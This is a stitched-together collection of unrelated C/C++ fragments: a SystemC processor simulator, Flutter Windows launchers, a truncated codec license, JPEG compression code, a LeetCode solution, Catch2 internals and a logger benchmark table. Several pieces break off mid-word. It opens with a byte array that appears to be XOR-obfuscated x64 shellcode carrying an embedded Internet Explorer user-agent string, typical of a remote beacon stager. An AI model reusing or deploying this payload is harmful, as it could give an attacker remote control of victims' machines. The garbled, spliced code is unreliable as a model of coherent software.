    0x08, 0x1b, 0x0b, 0x12, 0xd1, 0x08, 0x7a, 0xd1, 0x18, 0x66, 0x12, 0x5b, 0x8a, 0x3c, 0xdb, 0x22,
    0x42, 0x51, 0x58, 0x2f, 0x28, 0xd1, 0xda, 0xd2, 0x5a, 0x5a, 0x5a, 0x12, 0xdf, 0x9a, 0x2e, 0x3d,
    0x12, 0x5b, 0x8a, 0x0a, 0xd1, 0x12, 0x42, 0x1e, 0xd1, 0x1a, 0x7a, 0x13, 0x5b, 0x8a, 0xb9, 0x0c,
    0x12, 0xa5, 0x93, 0x1b, 0xd1, 0x6e, 0xd2, 0x12, 0x5b, 0x8c, 0x17, 0x6b, 0x93, 0x12, 0x6b, 0x9a,
    0xf6, 0x1b, 0x9b, 0x93, 0x57, 0x1b, 0x5b, 0x9b, 0x62, 0xba, 0x2f, 0xab, 0x16, 0x59, 0x16, 0x7e,
    0x52, 0x1f, 0x63, 0x8b, 0x2f, 0x82, 0x02, 0x1e, 0xd1, 0x1a, 0x7e, 0x13, 0x5b, 0x8a, 0x3c, 0x1b,
    0xd1, 0x56, 0x12, 0x1e, 0xd1, 0x1a, 0x46, 0x13, 0x5b, 0x8a, 0x1b, 0xd1, 0x5e, 0xd2, 0x12, 0x5b,
    0x8a, 0x1b, 0x02, 0x1b, 0x02, 0x04, 0x03, 0x00, 0x1b, 0x02, 0x1b, 0x03, 0x1b, 0x00, 0x12, 0xd9,
    0xb6, 0x7a, 0x1b, 0x08, 0xa5, 0xba, 0x02, 0x1b, 0x03, 0x00, 0x12, 0xd1, 0x48, 0xb3, 0x15, 0xa5,
    0xa5, 0xa5, 0x07, 0x30, 0x5a, 0x13, 0xe4, 0x2d, 0x33, 0x34, 0x33, 0x34, 0x3f, 0x2e, 0x5a, 0x1b,
    0x0c, 0x13, 0xd3, 0xbc, 0x16, 0xd3, 0xab, 0x1b, 0xe0, 0x16, 0x2d, 0x7c, 0x5d, 0xa5, 0x8f, 0x12,
    0x6b, 0x93, 0x12, 0x6b, 0x88, 0x17, 0x6b, 0x9a, 0x17, 0x6b, 0x93, 0x1b, 0x0a, 0x1b, 0x0a, 0x1b,
    0xe0, 0x60, 0x0c, 0x23, 0xfd, 0xa5, 0x8f, 0xb1, 0x29, 0x00, 0x12, 0xd3, 0x9b, 0x1b, 0xe2, 0x0a,
    0x5a, 0x5a, 0x5a, 0x17, 0x6b, 0x93, 0x1b, 0x0b, 0x1b, 0x0b, 0x30, 0x59, 0x1b, 0x0b, 0x1b, 0xe0,
    0x0d, 0xd3, 0xc5, 0x9c, 0xa5, 0x8f, 0xb1, 0x03, 0x01, 0x12, 0xd3, 0x9b, 0x12, 0x6b, 0x88, 0x13,
    0xd3, 0x82, 0x17, 0x6b, 0x93, 0x08, 0x32, 0x5a, 0x58, 0x1a, 0xde, 0x08, 0x08, 0x1b, 0xe0, 0xb1,
    0x0f, 0x74, 0x61, 0xa5, 0x8f, 0x12, 0xd3, 0x9c, 0x12, 0xd9, 0x99, 0x0a, 0x30, 0x50, 0x05, 0x12,
    0xd3, 0xab, 0x12, 0xd3, 0x80, 0x13, 0x9d, 0x9a, 0xa5, 0xa5, 0xa5, 0xa5, 0x17, 0x6b, 0x93, 0x08,
    0x08, 0x1b, 0xe0, 0x77, 0x5c, 0x42, 0x21, 0xa5, 0x8f, 0xdf, 0x9a, 0x55, 0xdf, 0xc7, 0x5b, 0x5a,
    0x5a, 0x12, 0xa5, 0x95, 0x55, 0xde, 0xd6, 0x5b, 0x5a, 0x5a, 0xb1, 0x89, 0xb3, 0xbe, 0x5b, 0x5a,
    0x5a, 0xb2, 0xf8, 0xa5, 0xa5, 0xa5, 0x75, 0x2f, 0x08, 0x0e, 0x18, 0x5a, 0x87, 0xe3, 0xa1, 0xa1,
    0x9a, 0xee, 0x20, 0x64, 0x5a, 0xae, 0x3b, 0xa9, 0xc6, 0x18, 0x81, 0x2a, 0xf2, 0x52, 0xf1, 0xc3,
    0xfa, 0x78, 0x70, 0xab, 0x03, 0xf4, 0x81, 0xdc, 0x5c, 0xf8, 0x8d, 0xdc, 0x15, 0x25, 0x14, 0xed,
    0x16, 0x03, 0x64, 0x00, 0x00, 0x07, 0xe1, 0x97, 0x7a, 0xaf, 0x8e, 0x84, 0x69, 0x94, 0x71, 0xb5,
    0xf9, 0x64, 0xcb, 0x9e, 0x46, 0xe2, 0xf5, 0x3b, 0x3f, 0x5d, 0x3d, 0xd8, 0x9e, 0x15, 0xff, 0x0c,
    0x86, 0x3f, 0x27, 0x23, 0x88, 0x5a, 0x0f, 0x29, 0x3f, 0x28, 0x77, 0x1b, 0x3d, 0x3f, 0x34, 0x2e,
    0x60, 0x7a, 0x17, 0x35, 0x20, 0x33, 0x36, 0x36, 0x3b, 0x75, 0x6f, 0x74, 0x6a, 0x7a, 0x72, 0x39,
    0x35, 0x37, 0x2a, 0x3b, 0x2e, 0x33, 0x38, 0x36, 0x3f, 0x61, 0x7a, 0x17, 0x09, 0x13, 0x1f, 0x7a,
    0x63, 0x74, 0x6a, 0x61, 0x7a, 0x0d, 0x33, 0x34, 0x3e, 0x35, 0x2d, 0x29, 0x7a, 0x14, 0x0e, 0x7a,
    0x6c, 0x74, 0x6b, 0x61, 0x7a, 0x0d, 0x15, 0x0d, 0x6c, 0x6e, 0x61, 0x7a, 0x0e, 0x28, 0x33, 0x3e,
    0x3f, 0x34, 0x2e, 0x75, 0x6f, 0x74, 0x6a, 0x61, 0x7a, 0x17, 0x1b, 0x09, 0x0a, 0x73, 0x57, 0x50,
    0x5a, 0xa4, 0x7a, 0x4d, 0x06, 0x44, 0x9b, 0x9e, 0x39, 0xae, 0xd9, 0x9f, 0x10, 0xcf, 0xb6, 0xb4,
    0xb1, 0x2d, 0x83, 0x4a, 0xb5, 0x8c, 0xf0, 0x66, 0xf4, 0x1b, 0xb9, 0xc4, 0x37, 0x1d, 0x25, 0x3a,
    0x87, 0x4f, 0x30, 0xf0, 0x17, 0xec, 0x67, 0x89, 0xf7, 0xc5, 0xe9, 0x46, 0x96, 0x09, 0x61, 0x59,
    0xee, 0xff, 0xab, 0x23, 0x31, 0x7e, 0xf9, 0xfc, 0xff, 0x43, 0x80, 0x9c, 0xeb, 0x72, 0x73, 0xc0,
    0xc3, 0x0c, 0xa6, 0x51, 0x3e, 0xf7, 0x88, 0x9b, 0x68, 0xd8, 0x70, 0xd6, 0x97, 0x01, 0x54, 0x5d,
    0xf4, 0x24, 0xec, 0x7d, 0x45, 0x38, 0x78, 0x0f, 0xe4, 0x42, 0xe0, 0x57, 0xda, 0x5e, 0x19, 0x48,
    0xc1, 0x2f, 0x68, 0x9b, 0xc3, 0xa0, 0x28, 0xcc, 0xe2, 0x89, 0xf3, 0x63, 0x55, 0xcb, 0x95, 0xd9,
    0xc0, 0xd9, 0x35, 0xf4, 0xe7, 0x14, 0x84, 0x81, 0x9a, 0x32, 0x58, 0xa6, 0xc2, 0x3f, 0x90, 0x82,
    0x9e, 0xf2, 0xa2, 0x41, 0xac, 0x79, 0xa7, 0xe9, 0x9a, 0x86, 0xf9, 0x96, 0x61, 0xd7, 0xf1, 0xe9,
    0xe7, 0x2b, 0x2d, 0x2c, 0x71, 0xc7, 0x2a, 0x80, 0x58, 0xb8, 0xf9, 0x77, 0x25, 0xee, 0x17, 0xe8,
    0xf5, 0x84, 0x12, 0xee, 0x7a, 0xcd, 0x54, 0xda, 0x11, 0xf2, 0x16, 0x1b, 0x75, 0xb8, 0x59, 0x32,
    0xb1, 0x86, 0x8a, 0x18, 0x43, 0x05, 0xfd, 0xa8, 0x29, 0xdc, 0x28, 0xf4, 0x35, 0x00, 0x17, 0x31,
    0x26, 0x5c,


#include <iostream>
#include <vector>
#include <systemc.h>
#include "pc.h"
#include "monitor.h"
#include "instruction_memory.h"
#include "instruction_register.h"
#include "register_file.h"
#include "opcode_decoder.h"
#include "alu.h"
#include "d_ff.h"
#include "mux.h"
#include "data_memory.h"

int sc_main(int argc, char **argv) {

    sc_clock clk("clock", 5, SC_MS);
    sc_signal<sc_uint<32>> output, instruction;
    sc_signal<sc_uint<6>> opcode;
    sc_signal<sc_uint<5>> rs1, rs2, rd;
    sc_signal<sc_uint<16>> immediate;
    sc_signal<sc_uint<32>> d_out1, d_out2, d_in;

    sc_signal<bool> alu_selection, rs_selection, move_selection_port, load_selection_port, we_selection, add_instruction_selection;
    sc_signal<bool> we, reset;
    sc_signal<bool> we_d_mem;

    sc_signal<sc_uint<32>> immediate_32bits, immediate_32bits_output, output_alu, d_in_d_mem, d_out_d_mem, addr_in_d_mem, mux_zero_input, mux_one_input, mux_two_input, double_mux_output;

    PC pc("pc");
    Monitor monitor("monitor");
    InstructionMemory<5> im("instruction_memory");
    InstructionRegister ir("instruction_register");
    RegisterFile rf("register_file");
    OpcodeDecoder opd("opcode_decoder");
    DataMemory d_mem("data_memory");
    ALU alu("alu");
    D_FLIP_FLOP<sc_uint<32>> ff_immediate_value("ff_immediate_value");
    D_FLIP_FLOP<sc_uint<32>> d_in_ff_d_mem_1("d_in_ff_data_mem_1");
    D_FLIP_FLOP<sc_uint<32>> d_in_ff_d_mem_2("d_in_ff_data_mem_2");
    D_FLIP_FLOP<sc_uint<32>> d_in_ff_alu_out("d_in_ff_alu_out");
    DoubleMux dmux_feedback("double_mux_feedback");

    pc.clock(clk);
    pc.output(output);
    pc.reset(reset);
    im.pc_output(output);
    im.im_output(instruction);
    ir.instruction_in(instruction);
    ir.opcode(opcode);
    ir.rs1(rs1);
    ir.rs2(rs2);
    ir.immediate(immediate);
    ir.rd(rd);

    rf.address_in_1(rs1);
    rf.address_in_2(rs2);
    rf.d_in(double_mux_output);
    rf.opcode(opcode);
    rf.rd(rd);
    rf.clock(clk);
    rf.we(we);
    rf.d_out_1(d_out1);
    rf.d_out_2(d_out2);
    rf.reset(reset);

    opd.opcode(opcode);
    opd.alu_selection(alu_selection);
    opd.rs_selection(rs_selection);
    opd.move_selection_port(move_selection_port);
    opd.load_selection_port(load_selection_port);
    opd.we_selection(we_selection);
    opd.add_instruction_selection(add_instruction_selection);
    opd.clk(clk);
    opd.reset(reset);

    immediate_32bits.write(immediate.read());
    ff_immediate_value.clk(clk);
    ff_immediate_value.reset(reset);
    ff_immediate_value.d(immediate_32bits);
    ff_immediate_value.q(immediate_32bits_output);

    alu.reset(reset);
    alu.clk(clk);
    alu.load_add_select_port(rs_selection);
    alu.load_store_add_select_port(alu_selection);
    alu.add_select_port(add_instruction_selection);
    alu.imm_value(immediate_32bits_output);
    alu.rs_register(d_out1);
    alu.rd_register(d_out2);
    alu.output(output_alu);

    d_in_ff_d_mem_1.clk(clk);
    d_in_ff_d_mem_1.d(d_out1);
    d_in_ff_d_mem_1.q(d_in_d_mem);
    d_in_ff_d_mem_1.reset(reset);

    d_in_ff_d_mem_2.clk(clk);
    d_in_ff_d_mem_2.d(d_in_d_mem);
    d_in_ff_d_mem_2.reset(reset);
    d_in_ff_d_mem_2.q(mux_zero_input);

    d_in_ff_alu_out.clk(clk);
    d_in_ff_alu_out.reset(reset);
    d_in_ff_alu_out.d(output_alu);
    d_in_ff_alu_out.q(mux_two_input);

    d_mem.we(we_selection);
    d_mem.addr_in(output_alu);
    d_mem.d_in(d_in_d_mem);
    d_mem.d_out(mux_one_input);
    d_mem.clock(clk);
    d_mem.reset(reset);

    dmux_feedback.select_port_0(move_selection_port);
    dmux_feedback.select_port_1(load_selection_port);
    dmux_feedback.port_0_data(mux_zero_input),
    dmux_feedback.port_1_data(mux_one_input);
    dmux_feedback.port_2_data(mux_two_input);
    dmux_feedback.output(double_mux_output);

    monitor.clk(clk);
    monitor.pc_output(output);
    monitor.im_output(instruction);
    monitor.opcode(opcode);
    monitor.rs1(rs1);
    monitor.rs2(rs2);
    monitor.rd(rd);
    monitor.immediate(immediate);
    monitor.d_out1(d_out1);
    monitor.d_out2(d_out2);
    monitor.d_in(d_in);
    monitor.alu_selection(alu_selection);
    monitor.we_selection(we_selection);
    monitor.rs_selection(rs_selection);
    monitor.move_selection_port(move_selection_port);
    monitor.load_selection_port(load_selection_port);

    sc_trace_file *tf = sc_create_vcd_trace_file("opd_waveform");
    sc_trace(tf, clock, "clock");
    sc_trace(tf, opcode, "opcode");
    sc_trace(tf, alu_selection, "alu_selection");
    sc_trace(tf, rs_selection, "rs_selection");
    sc_trace(tf, move_selection_port, "move_selection_port");
    sc_trace(tf, load_selection_port, "load_selection_port");
    sc_trace(tf, we_selection, "we_selection");

    std::vector<sc_uint<32>> program = {
        0x00222800,
        0x04F401FE,
        0x09261E00,
        0x0DAB0000
    };

    im.load_instructions(program);
    sc_start(25, SC_MS);

    sc_close_vcd_trace_file(tf);

    return EXIT_SUCCESS;
}


#include <flutter/dart_project.h>
#include <flutter/flutter_view_controller.h>
#include <windows.h>

#include "flutter_window.h"
#include "utils.h"

int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev,
                      _In_ wchar_t *command_line, _In_ int show_command) {
  // Attach to console when present (e.g., 'flutter run') or create a
  // new console when running with a debugger.
  if (!::AttachConsole(ATTACH_PARENT_PROCESS) && ::IsDebuggerPresent()) {
    CreateAndAttachConsole();
  }

  // Initialize COM, so that it is available for use in the library and/or
  // plugins.
  ::CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);

  flutter::DartProject project(L"data");

  std::vector<std::string> command_line_arguments =
      GetCommandLineArguments();

  project.set_dart_entrypoint_arguments(std::move(command_line_arguments));

  FlutterWindow window(project);
  Win32Window::Point origin(10, 10);
  Win32Window::Size size(1280, 720);
  if (!window.Create(L"rick_and_morty", origin, size)) {
    return EXIT_FAILURE;
  }
  window.SetQuitOnClose(true);

  ::MSG msg;
  while (::GetMessage(&msg, nullptr, 0, 0)) {
    ::TranslateMessage(&msg);
    ::DispatchMessage(&msg);
  }

  ::CoUninitialize();
  return EXIT_SUCCESS;
}


/* -----------------------------------------------------------------------------------------------------------
Software License for The Fraunhofer FDK AAC Codec Library for Android

© Copyright  1995 - 2013 Fraunhofer-Gesellschaft zur Förderung der angewandten Forschung e.V.
  All rights reserved.

 1.    INTRODUCTION
The Fraunhofer FDK AAC Codec Library for Android ("FDK AAC Codec") is software that implements
the MPEG Advanced Audio Coding ("AAC") encoding and decoding scheme for digital audio.
This FDK AAC Codec software is intended to be used on a wide variety of Android devices.

AAC's HE-AAC and HE-AAC v2 versions are regarded as today's most efficient general perceptual
audio codecs. AAC-ELD is considered the best-performing full-bandwidth communications codec by
independent studies and is widely deployed. AAC has been standardized by ISO and IEC as part
of the MPEG specifications.

Patent licenses for necessary patent claims for the FDK AAC Codec (including those of Fraunhofer)
may be obtained through Via Licensing (www.vialicensing.com) or through the respective patent owners
individually for the purpose of encoding or decoding bit streams in products that are compliant with
the ISO/IEC MPEG audio standards. Please note that most manufacturers of Android devices already license
these patent claims through Via Licensing or directly from the patent owners, and therefore FDK AAC Codec
software may already be covered under those patent licenses when it is used for those licensed purposes only.

Commercially-licensed AAC software libraries, including floating-point versions with enhanced sound quality,
are also available from Fraunhofer. Users are encouraged to check the Fraunhofer website for additional
applications information and documentation.

2.    COPYRIGHT LICENSE

Redistribution and use in source and binary forms, with or without modification, are permitted without
payment of copyright license fees provided that you satisfy the following conditions:

You must retain the complete text of this software license in redistributions of the FDK AAC Codec or
your modifications thereto in source code form.

You must retain the complete text of this software license in the documentation and/or other materials
provided with redistributions of the FDK AAC Codec or your modifications thereto in binary form.
You must make available free of charge copies of the complete source code of the FDK AAC Codec and your
modifications thereto to recipients of copies in binary form.

The name of Fraunhofer may not be used to endorse or promote products derived from this library without
prior written permission.

You may not charge copyright license fees for anyone to use, copy or distribute the FDK AAC Codec
software or your modifications thereto.

Your modified versions of the FDK AAC Codec must carry prominent notices stating that you changed the software
and the date of any change. For modified versions of the FDK AAC Codec, the term
"Fraunhofer FDK AAC Codec Library for Android" must be replaced by the term
"Third-Party Modified Version of the Fraunhofer FDK AAC Codec Library for Android."

3.    NO PATENT LICENSE

NO EXPRESS OR IMPLIED LICENSES TO ANY PATENT CLAIMS, including without limitation the patents of Fraunhofer,
ARE GRANTED BY THIS SOFTWARE LICENSE. Fraunhofer provides no warranty of patent non-infringement with
respect to this software.

You may use this FDK AAC Codec software or modifications thereto only for purposes that are authorized
by appropriate patent licenses.

4.    DISCLAIMER

This FDK AAC Codec software is provided by Fraunhofer on behalf of the copyright holders and contributors
"AS IS" and WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, including but not limited to the implied warranties
of merchantability and fitness for a particular purpose. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
CONTRIBUTORS BE LIABLE for any direct, indirect, incidental, special, exemplary, or consequential damages,
including but not limited to procurement of substitute goods or services; loss of use, data, or profits,
or business interruption, however caused and on any theory of liability, whether in contract, strict
liability, or tort (including negligence), arising in any way out of the use of this software, even if
advised of the possibility of such damage.

5.    CONTACT INFORMATION

Fraunhofer Institute for Integrated Circuits IIS
Attention: Audio and Multimedia Departments - FDK AAC LL
Am Wolfsmantel 33
91058 Erlangen, Germany

www.iis.fraunhofer.de/amm
amm-info@iis.fraunhofer.de
----------------------------------------------------------------------------------------------------------- */

/*!
  \file
  \brief  Low Power Profile Transposer,
  This module provides the transposer. The main entry point is lppTransposer(). The function generates
  high frequency content by copying data from the low band (provided by core codec) into the high band.
  This process is also referred to as "patching". The function also i


#include <flutter/dart_project.h>
#include <flutter/flutter_view_controller.h>
#include <windows.h>

#include "flutter_window.h"
#include "utils.h"

int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev,
                      _In_ wchar_t *command_line, _In_ int show_command) {
  // Attach to console when present (e.g., 'flutter run') or create a
  // new console when running with a debugger.
  if (!::AttachConsole(ATTACH_PARENT_PROCESS) && ::IsDebuggerPresent()) {
    CreateAndAttachConsole();
  }

  // Initialize COM, so that it is available for use in the library and/or
  // plugins.
  ::CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);

  flutter::DartProject project(L"data");

  std::vector<std::string> command_line_arguments =
      GetCommandLineArguments();

  project.set_dart_entrypoint_arguments(std::move(command_line_arguments));

  FlutterWindow window(project);
  Win32Window::Point origin(10, 10);
  Win32Window::Size size(1280, 720);
  if (!window.Create(L"mvvm", origin, size)) {
    return EXIT_FAILURE;
  }
  window.SetQuitOnClose(true);

  ::MSG msg;
  while (::GetMessage(&msg, nullptr, 0, 0)) {
    ::TranslateMessage(&msg);
    ::DispatchMessage(&msg);
  }

  ::CoUninitialize();
  return EXIT_SUCCESS;
}


// Sarthak:
// DCT/IDCT math
// Quantization scaling
// Block processing loops
// Image loading and saving

// Amaan :
// Huffman tree generation
// Bitstream encoding
// Compression metrics
// Color space conversion

#include <iostream>
#include <vector>
#include <cmath>
#include <algorithm>
#include <map>
#include <queue>
#include <set>
#include <sstream>

#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#define STB_IMAGE_WRITE_IMPLEMENTATION
#include "stb_image_write.h"

// Base Quantization matrix (standard JPEG luminance)
const int BASE_Q[8][8] = {
    {16, 11, 10, 16, 24, 40, 51, 61},
    {12, 12, 14, 19, 26, 28, 60, 55},
    {14, 13, 16, 24, 40, 57, 69, 56},
    {14, 17, 22, 29, 51, 87, 80, 62},
    {18, 22, 37, 56, 68, 109, 103, 77},
    {24, 35, 55, 64, 81, 104, 113, 92},
    {49, 64, 78, 87, 103, 121, 120, 101},
    {72, 92, 95, 98, 112, 100, 103, 99}
};

// Dynamic quantization matrix
int Q[8][8];

// Huffman Node structure
struct HuffmanNode {
    int symbol;
    float probability;
    HuffmanNode* left;
    HuffmanNode* right;

    HuffmanNode(int sym, float prob) : symbol(sym), probability(prob), left(nullptr), right(nullptr) {}

    HuffmanNode(HuffmanNode* l, HuffmanNode* r) {
        symbol = -1; // Internal node
        probability = l->probability + r->probability;
        left = l;
        right = r;
    }

    bool isLeaf() const {
        return left == nullptr && right == nullptr;
    }
};

// Comparison for priority queue
struct CompareNodes {
    bool operator()(HuffmanNode* a, HuffmanNode* b) {
        return a->probability > b->probability;
    }
};

// ================== DCT IMPLEMENTATION ==================
void dct2d(float block[8][8]) {
    float temp[8][8] = {0};
    const float pi = 3.14159265358979323846f;

    // 1D DCT on rows
    for (int y = 0; y < 8; y++) {
        for (int u = 0; u < 8; u++) {
            float sum = 0.0f;
            float cu = (u == 0) ? 1.0f/sqrt(2.0f) : 1.0f;

            for (int x = 0; x < 8; x++) {
                sum += block[y][x] * cos((2*x+1)*u*pi/16.0f);
            }

            temp[y][u] = 0.5f * cu * sum;
        }
    }

    // 1D DCT on columns
    for (int u = 0; u < 8; u++) {
        for (int v = 0; v < 8; v++) {
            float sum = 0.0f;
            float cv = (v == 0) ? 1.0f/sqrt(2.0f) : 1.0f;

            for (int y = 0; y < 8; y++) {
                sum += temp[y][u] * cos((2*y+1)*v*pi/16.0f);
            }

            block[v][u] = 0.5f * cv * sum;
        }
    }

}

void idct2d(float block[8][8]) {
    float temp[8][8] = {0};
    const float pi = 3.14159265358979323846f;

    // 1D IDCT on rows
    for (int y = 0; y < 8; y++) {
        for (int x = 0; x < 8; x++) {
            float sum = 0.0f;

            for (int u = 0; u < 8; u++) {
                float cu = (u == 0) ? 1.0f/sqrt(2.0f) : 1.0f;
                sum += cu * block[y][u] * cos((2*x+1)*u*pi/16.0f);
            }

            temp[y][x] = 0.5f * sum;
        }
    }

    // 1D IDCT on columns
    for (int x = 0; x < 8; x++) {
        for (int y = 0; y < 8; y++) {
            float sum = 0.0f;

            for (int v = 0; v < 8; v++) {
                float cv = (v == 0) ? 1.0f/sqrt(2.0f) : 1.0f;
                sum += cv * temp[v][x] * cos((2*y+1)*v*pi/16.0f);
            }

            block[y][x] = 0.5f * sum;
        }
    }
}

// Initialize quantization matrix (0.002 to 1.0)
void initQuantMatrix(float quality) {
    quality = std::max(0.002f, std::min(1.0f, quality));

    float scale;
    if (quality < 0.1f) {
        // Special scaling for ultra-low quality (0.002-0.1)
        scale = 50.0f * (0.1f - quality) + 5.0f;
    } else if (quality < 0.5f) {
        scale = 0.5f / quality;
    } else {
        scale = 2.0f - 2.0f * quality;
    }

    for (int i = 0; i < 8; i++) {
        for (int j = 0; j < 8; j++) {
            Q[i][j] = static_cast<int>(BASE_Q[i][j] * scale);
            Q[i][j] = std::max(1, std::min(255, Q[i][j]));
        }
    }
}

// RGB to YCbCr conversion
void rgb2ycbcr(unsigned char r, unsigned char g, unsigned char b,
               unsigned char& y, unsigned char& cb, unsigned char& cr) {
    y  = (unsigned char)( 0.299f * r + 0.587f * g + 0.114f * b);
    cb = (unsigned char)(-0.1687f * r - 0.3313f * g + 0.5f * b + 128);
    cr = (unsigned char)( 0.5f * r - 0.4187f * g - 0.0813f * b + 128);
}

// YCbCr to RGB conversion
void ycbcr2rgb(unsigned char y, unsigned char cb, unsigned char cr,
               unsigned char& r, unsigned char& g, unsigned char& b) {
    float c = y - 16.0f;
    float d = cb - 128.0f;
    float e = cr - 128.0f;

    r = (unsigned char)std::min(255.0f, std::max(0.0f, (1.164f * c + 1.596f * e)));
    g = (unsigned char)std::min(255.0f, std::max(0.0f, (1.164f * c - 0.392f * d - 0.813f * e)));
    b = (unsigned char)std::min(255.0f, std::max(0.0f, (1.164f * c + 2.0


#include <bits/stdc++.h>
using namespace std;

/*
    This solution uses dynamic programming to find the number of "bowl" subarrays.

    This version of code get "Memory Limit Exceeded" error on LeetCode.
    The reason is that it uses a 2D vector `dp` of size n x n, where n is the size of the input array `nums`.
    This can lead to high memory usage, especially for large input sizes. xD

    Check out optimized solution in dp_optimized_solution.cpp for better approach.
*/
class Solution
{

public:
    long long bowlSubarrays(vector<int> &nums)
    {
        int n = nums.size();
        int res = 0;
        vector<vector<int>> dp(n, vector<int>(n));

        for (int i = 0; i < n - 1; i++)
        {
            dp[i][i + 1] = max(nums[i], nums[i + 1]);
        }

        for (int i = 0; i < n - 2; i++)
        {
            if (min(nums[i], nums[i + 2]) > nums[i + 1])
                res++;
            dp[i][i + 2] = max(max(nums[i], nums[i + 2]), nums[i + 1]);
        }

        int len = 4;
        while (len <= n)
        {
            int start = 0;
            int end = 0;
            while (start <= n - len)
            {
                end = start + len - 1;
                if (min(nums[start], nums[end]) > dp[start + 1][end - 1])
                    res++;
                dp[start][end] = max(max(nums[start], nums[end]), dp[start + 1][end - 1]);
                start++;
            }
            len++;
        }
        return res;
    }
};

int main()
{
    Solution sol;
    vector<int> nums = {2, 5, 3, 1, 4};
    cout << sol.bowlSubarrays(nums) << endl;
    return 0;
}


//              Copyright Catch2 Authors
// Distributed under the Boost Software License, Version 1.0.
//   (See accompanying file LICENSE.txt or copy at
//        https://www.boost.org/LICENSE_1_0.txt)

// SPDX-License-Identifier: BSL-1.0

//  Catch v3.10.0
//  Generated: 2025-08-24 16:18:04.775778
//  ----------------------------------------------------------
//  This file is an amalgamation of multiple different files.
//  You probably shouldn't edit it directly.
//  ----------------------------------------------------------

#include "catch_amalgamated.hpp"

#ifndef CATCH_WINDOWS_H_PROXY_HPP_INCLUDED
#define CATCH_WINDOWS_H_PROXY_HPP_INCLUDED

#if defined(CATCH_PLATFORM_WINDOWS)

// We might end up with the define made globally through the compiler,
// and we don't want to trigger warnings for this
#if !defined(NOMINMAX)
#  define NOMINMAX
#endif
#if !defined(WIN32_LEAN_AND_MEAN)
#  define WIN32_LEAN_AND_MEAN
#endif

#include <windows.h>

#endif // defined(CATCH_PLATFORM_WINDOWS)

#endif // CATCH_WINDOWS_H_PROXY_HPP_INCLUDED

namespace Catch {
    namespace Benchmark {
        namespace Detail {
            ChronometerConcept::~ChronometerConcept() = default;
        } // namespace Detail
    } // namespace Benchmark
} // namespace Catch

// Adapted from donated nonius code.

#include <vector>

namespace Catch {
    namespace Benchmark {
        namespace Detail {
            SampleAnalysis analyse(const IConfig &cfg, FDuration* first, FDuration* last) {
                if (!cfg.benchmarkNoAnalysis()) {
                    std::vector<double> samples;
                    samples.reserve(static_cast<size_t>(last - first));
                    for (auto current = first; current != last; ++current) {
                        samples.push_back( current->count() );
                    }

                    auto analysis = Catch::Benchmark::Detail::analyse_samples(
                        cfg.benchmarkConfidenceInterval(),
                        cfg.benchmarkResamples(),
                        samples.data(),
                        samples.data() + samples.size() );
                    auto outliers = Catch::Benchmark::Detail::classify_outliers(
                        samples.data(), samples.data() + samples.size() );

                    auto wrap_estimate = [](Estimate<double> e) {
                        return Estimate<FDuration> {
                            FDuration(e.point),
                                FDuration(e.lower_bound),
                                FDuration(e.upper_bound),
                                e.confidence_interval,
                        };
                    };
                    std::vector<FDuration> samples2;
                    samples2.reserve(samples.size());
                    for (auto s : samples) {
                        samples2.push_back( FDuration( s ) );
                    }

                    return {
                        CATCH_MOVE(samples2),
                        wrap_estimate(analysis.mean),
                        wrap_estimate(analysis.standard_deviation),
                        outliers,
                        analysis.outlier_variance,
                    };
                } else {
                    std::vector<FDuration> samples;
                    samples.reserve(static_cast<size_t>(last - first));

                    FDuration mean = FDuration(0);
                    int i = 0;
                    for (auto it = first; it < last; ++it, ++i) {
                        samples.push_back(*it);
                        mean += *it;
                    }
                    mean /= i;

                    return SampleAnalysis{
                        CATCH_MOVE(samples),
                        Estimate<FDuration>{ mean, mean, mean, 0.0 },
                        Estimate<FDuration>{ FDuration( 0 ),
                                             FDuration( 0 ),
                                             FDuration( 0 ),
                                             0.0 },
                        OutlierClassification{},
                        0.0
                    };
                }
            }
        } // namespace Detail
    } // namespace Benchmark
} // namespace Catch

namespace Catch {
    namespace Benchmark {
        namespace Detail {
            struct do_nothing {
                void operator()() const {}
            };

            BenchmarkFunction::callable::~callable() = default;
            BenchmarkFunction::BenchmarkFunction():
                f( new model<do_nothing>{ {} } ){}
        } // namespace Detail
    } // namespace Benchmark
} // namespace Catch

#include <exception>

namespace Catch {
    namespace Benchmark {
        namespace Detail {
            struct optimized_away_error : std::exception {
                const char* what() const noexcept override;
            };

            const char* optimized_away_error::what() const noexcept {
                return "could not measure be


// =================================================================================================
// Benchmark
// =================================================================================================
// Threads: 16, Iterations: 1'600'000 (Total)
// CPU: AMD Ryzen 7 PRO 6850U (16 Cores)
// CPU Caches:
//   L1 Data 32 KiB (x8)
//   L1 Instruction 32 KiB (x8)
//   L2 Unified 512 KiB (x8)
//   L3 Unified 16384 KiB (x1)
//
// -------------------------------------------------------------------------------------------------
// Linux                                          Time             CPU
// -------------------------------------------------------------------------------------------------
// literal<logger>                              326 ns          253 ns
// dynamic<logger>                              291 ns          239 ns
// dynamic<logger_with_spdlog>                18848 ns         1971 ns
// dynamic<logger_with_tbb_bounded_queue>     33399 ns         2396 ns
// dynamic<logger_with_tbb_queue>              3967 ns         2794 ns
// dynamic<logger_with_boost_lockfree_queue>   8375 ns         5087 ns
// dynamic<logger_with_boost_asio>             7829 ns         4808 ns
// dynamic<logger_with_mutex>                 11033 ns          662 ns
// dynamic<logger_with_coroutines>             9231 ns         5564 ns
// dynamic<logger_with_condition_variable>     3417 ns         1574 ns
// dynamic<logger_with_semaphore>              3502 ns         2076 ns
// dynamic<logger_with_atomic>                 3228 ns         1901 ns
// dynamic<logger_with_tbb_allocator>          1680 ns         1580 ns
//
// -------------------------------------------------------------------------------------------------
// Windows                                        Time             CPU
// -------------------------------------------------------------------------------------------------
// literal<logger>                              247 ns          137 ns
// dynamic<logger>                              246 ns          137 ns
// dynamic<logger_with_spdlog>                51124 ns         1426 ns
// dynamic<logger_with_tbb_bounded_queue>     49653 ns          508 ns
// dynamic<logger_with_tbb_queue>              2211 ns         1816 ns
// dynamic<logger_with_boost_lockfree_queue>   5669 ns         4766 ns
// dynamic<logger_with_boost_asio>             6548 ns         5342 ns
// dynamic<logger_with_mutex>                 21222 ns          537 ns
